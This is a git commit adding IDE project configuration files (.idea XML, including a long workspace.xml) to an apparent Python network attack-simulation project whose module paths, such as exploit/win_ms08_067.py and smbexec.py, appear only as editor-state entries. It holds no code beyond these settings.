code organization

This commit is contained in:
urihershgc 2015-11-30 10:56:20 +02:00
parent b370582666
commit 048c989b27
38 changed files with 1240 additions and 248 deletions

1
.idea/.name Normal file
View File

@ -0,0 +1 @@
monkey

6
.idea/encodings.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="PROJECT" charset="UTF-8" />
</component>
</project>

14
.idea/misc.xml Normal file
View File

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectLevelVcsManager" settingsEditedManually="false">
<OptionsSetting value="true" id="Add" />
<OptionsSetting value="true" id="Remove" />
<OptionsSetting value="true" id="Checkout" />
<OptionsSetting value="true" id="Update" />
<OptionsSetting value="true" id="Status" />
<OptionsSetting value="true" id="Edit" />
<ConfirmationsSetting value="0" id="Add" />
<ConfirmationsSetting value="0" id="Remove" />
</component>
<component name="ProjectRootManager" version="2" project-jdk-name="Python 2.7 (C:\Python27\python.exe)" project-jdk-type="Python SDK" />
</project>

8
.idea/modules.xml Normal file
View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/monkey.iml" filepath="$PROJECT_DIR$/.idea/monkey.iml" />
</modules>
</component>
</project>

12
.idea/monkey.iml Normal file
View File

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
<component name="TestRunnerService">
<option name="projectConfiguration" value="py.test" />
<option name="PROJECT_TEST_RUNNER" value="py.test" />
</component>
</module>

6
.idea/vcs.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$" vcs="Git" />
</component>
</project>

954
.idea/workspace.xml Normal file
View File

@ -0,0 +1,954 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ChangeListManager">
<list default="true" id="b6a17012-d37a-4cdd-b5ce-aba83b1d5fc7" name="Default" comment="">
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/config.py" afterPath="$PROJECT_DIR$/chaos_monkey/config.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/control.py" afterPath="$PROJECT_DIR$/chaos_monkey/control.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/dropper.py" afterPath="$PROJECT_DIR$/chaos_monkey/dropper.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/model/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/model/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/model/host.py" afterPath="$PROJECT_DIR$/chaos_monkey/model/host.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/monkey.py" afterPath="$PROJECT_DIR$/chaos_monkey/monkey.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" afterPath="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/firewall.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/firewall.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/info.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/info.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/range.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/range.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/tools.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/tools.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/system_singleton.py" afterPath="$PROJECT_DIR$/chaos_monkey/system_singleton.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/base.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/base.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/http.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/http.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/tunnel.py" afterPath="$PROJECT_DIR$/chaos_monkey/tunnel.py" />
</list>
<ignored path="monkey.iws" />
<ignored path=".idea/workspace.xml" />
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
<option name="TRACKING_ENABLED" value="true" />
<option name="SHOW_DIALOG" value="false" />
<option name="HIGHLIGHT_CONFLICTS" value="true" />
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
<option name="LAST_RESOLUTION" value="IGNORE" />
</component>
<component name="ChangesViewManager" flattened_view="true" show_ignored="false" />
<component name="CreatePatchCommitExecutor">
<option name="PATCH_PATH" value="" />
</component>
<component name="ExecutionTargetManager" SELECTED_TARGET="default_target" />
<component name="FavoritesManager">
<favorites_list name="monkey" />
</component>
<component name="FileEditorManager">
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
<file leaf-file-name="sshexec.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="126" column="21" selection-start-line="126" selection-start-column="21" selection-end-line="126" selection-end-column="21" />
<folding>
<element signature="e#0#15#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="tools.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/tools.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
<folding>
<element signature="e#0#9#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="win_ms08_067.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="264" column="16" selection-start-line="264" selection-start-column="16" selection-end-line="264" selection-end-column="16" />
<folding>
<element signature="e#330#340#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="wmiexec.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="109" column="0" selection-start-line="109" selection-start-column="0" selection-end-line="109" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="build_windows.bat" pinned="false" current-in-tab="true">
<entry file="file://$PROJECT_DIR$/chaos_monkey/build_windows.bat">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.05230769">
<caret line="2" column="0" selection-start-line="2" selection-start-column="0" selection-end-line="2" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/model/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="14" column="0" selection-start-line="14" selection-start-column="0" selection-end-line="14" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="6" column="0" selection-start-line="6" selection-start-column="0" selection-end-line="6" selection-end-column="0" />
<folding>
<element signature="e#0#39#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="rdpgrinder.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="94" column="36" selection-start-line="94" selection-start-column="36" selection-end-line="94" selection-end-column="36" />
<folding>
<element signature="e#0#11#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name="smbexec.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#10#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
</leaf>
</component>
<component name="Git.Settings">
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
</component>
<component name="IdeDocumentHistory">
<option name="CHANGED_PATHS">
<list>
<option value="$PROJECT_DIR$/monkey_island/cc/main.py" />
<option value="$PROJECT_DIR$/chaos_monkey/main.py" />
<option value="$PROJECT_DIR$/chaos_monkey/monkey.py" />
<option value="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" />
<option value="$PROJECT_DIR$/chaos_monkey/system_singleton.py" />
<option value="$PROJECT_DIR$/chaos_monkey/tunnel.py" />
<option value="$PROJECT_DIR$/chaos_monkey/dropper.py" />
<option value="$PROJECT_DIR$/chaos_monkey/control.py" />
<option value="$PROJECT_DIR$/chaos_monkey/config.py" />
<option value="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" />
<option value="$PROJECT_DIR$/chaos_monkey/transport/base.py" />
<option value="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" />
<option value="$PROJECT_DIR$/chaos_monkey/transport/http.py" />
<option value="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/__init__.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/firewall.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/info.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/range.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" />
<option value="$PROJECT_DIR$/chaos_monkey/network/tools.py" />
<option value="$PROJECT_DIR$/chaos_monkey/model/host.py" />
<option value="$PROJECT_DIR$/chaos_monkey/model/__init__.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" />
<option value="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" />
</list>
</option>
</component>
<component name="ProjectFrameBounds">
<option name="x" value="-10" />
<option name="width" value="1934" />
<option name="height" value="1030" />
</component>
<component name="ProjectLevelVcsManager" settingsEditedManually="false">
<OptionsSetting value="true" id="Add" />
<OptionsSetting value="true" id="Remove" />
<OptionsSetting value="true" id="Checkout" />
<OptionsSetting value="true" id="Update" />
<OptionsSetting value="true" id="Status" />
<OptionsSetting value="true" id="Edit" />
<ConfirmationsSetting value="0" id="Add" />
<ConfirmationsSetting value="0" id="Remove" />
</component>
<component name="ProjectView">
<navigator currentView="ProjectPane" proportions="" version="1">
<flattenPackages />
<showMembers />
<showModules />
<showLibraryContents />
<hideEmptyPackages />
<abbreviatePackageNames />
<autoscrollToSource />
<autoscrollFromSource />
<sortByType />
<manualOrder />
<foldersAlwaysOnTop value="true" />
</navigator>
<panes>
<pane id="Scratches" />
<pane id="ProjectPane">
<subPane>
<PATH>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
</PATH_ELEMENT>
</PATH>
<PATH>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
</PATH>
<PATH>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="chaos_monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
</PATH>
<PATH>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="chaos_monkey" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
<PATH_ELEMENT>
<option name="myItemId" value="model" />
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
</PATH_ELEMENT>
</PATH>
</subPane>
</pane>
<pane id="Scope" />
</panes>
</component>
<component name="PropertiesComponent">
<property name="last_opened_file_path" value="$PROJECT_DIR$" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth0" value="421" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder0" value="0" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth1" value="457" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder1" value="1" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth2" value="457" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder2" value="2" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth3" value="1470" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder3" value="3" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth0" value="421" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder0" value="0" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth1" value="457" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder1" value="1" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth2" value="457" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder2" value="2" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth3" value="1470" />
<property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder3" value="3" />
</component>
<component name="RunManager">
<configuration default="true" type="PythonConfigurationType" factoryName="Python">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs>
<env name="PYTHONUNBUFFERED" value="1" />
</envs>
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="PARAMETERS" value="" />
<option name="SHOW_COMMAND_LINE" value="false" />
<method />
</configuration>
<configuration default="true" type="tests" factoryName="Attests">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs />
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="CLASS_NAME" value="" />
<option name="METHOD_NAME" value="" />
<option name="FOLDER_NAME" value="" />
<option name="TEST_TYPE" value="TEST_SCRIPT" />
<option name="PATTERN" value="" />
<option name="USE_PATTERN" value="false" />
<method />
</configuration>
<configuration default="true" type="tests" factoryName="Doctests">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs />
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="CLASS_NAME" value="" />
<option name="METHOD_NAME" value="" />
<option name="FOLDER_NAME" value="" />
<option name="TEST_TYPE" value="TEST_SCRIPT" />
<option name="PATTERN" value="" />
<option name="USE_PATTERN" value="false" />
<method />
</configuration>
<configuration default="true" type="tests" factoryName="Nosetests">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs />
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="CLASS_NAME" value="" />
<option name="METHOD_NAME" value="" />
<option name="FOLDER_NAME" value="" />
<option name="TEST_TYPE" value="TEST_SCRIPT" />
<option name="PATTERN" value="" />
<option name="USE_PATTERN" value="false" />
<option name="PARAMS" value="" />
<option name="USE_PARAM" value="false" />
<method />
</configuration>
<configuration default="true" type="tests" factoryName="Unittests">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs />
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="CLASS_NAME" value="" />
<option name="METHOD_NAME" value="" />
<option name="FOLDER_NAME" value="" />
<option name="TEST_TYPE" value="TEST_SCRIPT" />
<option name="PATTERN" value="" />
<option name="USE_PATTERN" value="false" />
<option name="PUREUNITTEST" value="true" />
<option name="PARAMS" value="" />
<option name="USE_PARAM" value="false" />
<method />
</configuration>
<configuration default="true" type="tests" factoryName="py.test">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs />
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="" />
<option name="IS_MODULE_SDK" value="false" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="monkey" />
<option name="SCRIPT_NAME" value="" />
<option name="CLASS_NAME" value="" />
<option name="METHOD_NAME" value="" />
<option name="FOLDER_NAME" value="" />
<option name="TEST_TYPE" value="TEST_SCRIPT" />
<option name="PATTERN" value="" />
<option name="USE_PATTERN" value="false" />
<option name="testToRun" value="" />
<option name="keywords" value="" />
<option name="params" value="" />
<option name="USE_PARAM" value="false" />
<option name="USE_KEYWORD" value="false" />
<method />
</configuration>
</component>
<component name="ShelveChangesManager" show_recycled="false" />
<component name="SvnConfiguration">
<configuration />
</component>
<component name="TaskManager">
<task active="true" id="Default" summary="Default task">
<changelist id="b6a17012-d37a-4cdd-b5ce-aba83b1d5fc7" name="Default" comment="" />
<created>1448456974376</created>
<option name="number" value="Default" />
<updated>1448456974376</updated>
</task>
<servers />
</component>
<component name="ToolWindowManager">
<frame x="-10" y="0" width="1934" height="1030" extended-state="0" />
<editor active="true" />
<layout>
<window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
<window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
<window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.24414715" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Python Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.209202" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
<window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
<window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="SLIDING" type="SLIDING" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
<window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
<window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
</layout>
</component>
<component name="Vcs.Log.UiProperties">
<option name="RECENTLY_FILTERED_USER_GROUPS">
<collection />
</option>
<option name="RECENTLY_FILTERED_BRANCH_GROUPS">
<collection />
</option>
</component>
<component name="VcsContentAnnotationSettings">
<option name="myLimit" value="2678400000" />
</component>
<component name="XDebuggerManager">
<breakpoint-manager>
<option name="time" value="5" />
</breakpoint-manager>
<watches-manager />
</component>
<component name="editorHistoryManager">
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="20" column="8" selection-start-line="20" selection-start-column="8" selection-end-line="20" selection-end-column="8" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/control.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="104" column="8" selection-start-line="104" selection-start-column="8" selection-end-line="104" selection-end-column="8" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/build_env/readme.txt">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="59" column="30" selection-start-line="59" selection-start-column="30" selection-end-line="59" selection-end-column="30" />
</state>
</provider>
</entry>
<entry file="file://C:/Python27/Lib/argparse.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.3325893">
<caret line="1706" column="8" selection-start-line="1706" selection-start-column="8" selection-end-line="1706" selection-end-column="8" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/monkey_island/cc/admin/ui/css/font-awesome.min.css">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.34813085">
<caret line="3" column="9830" selection-start-line="3" selection-start-column="9830" selection-end-line="3" selection-end-column="9830" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/monkey.spec">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/monkey_island/readme.txt">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="36" column="19" selection-start-line="36" selection-start-column="9" selection-end-line="36" selection-end-column="19" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/monkey-linux.spec">
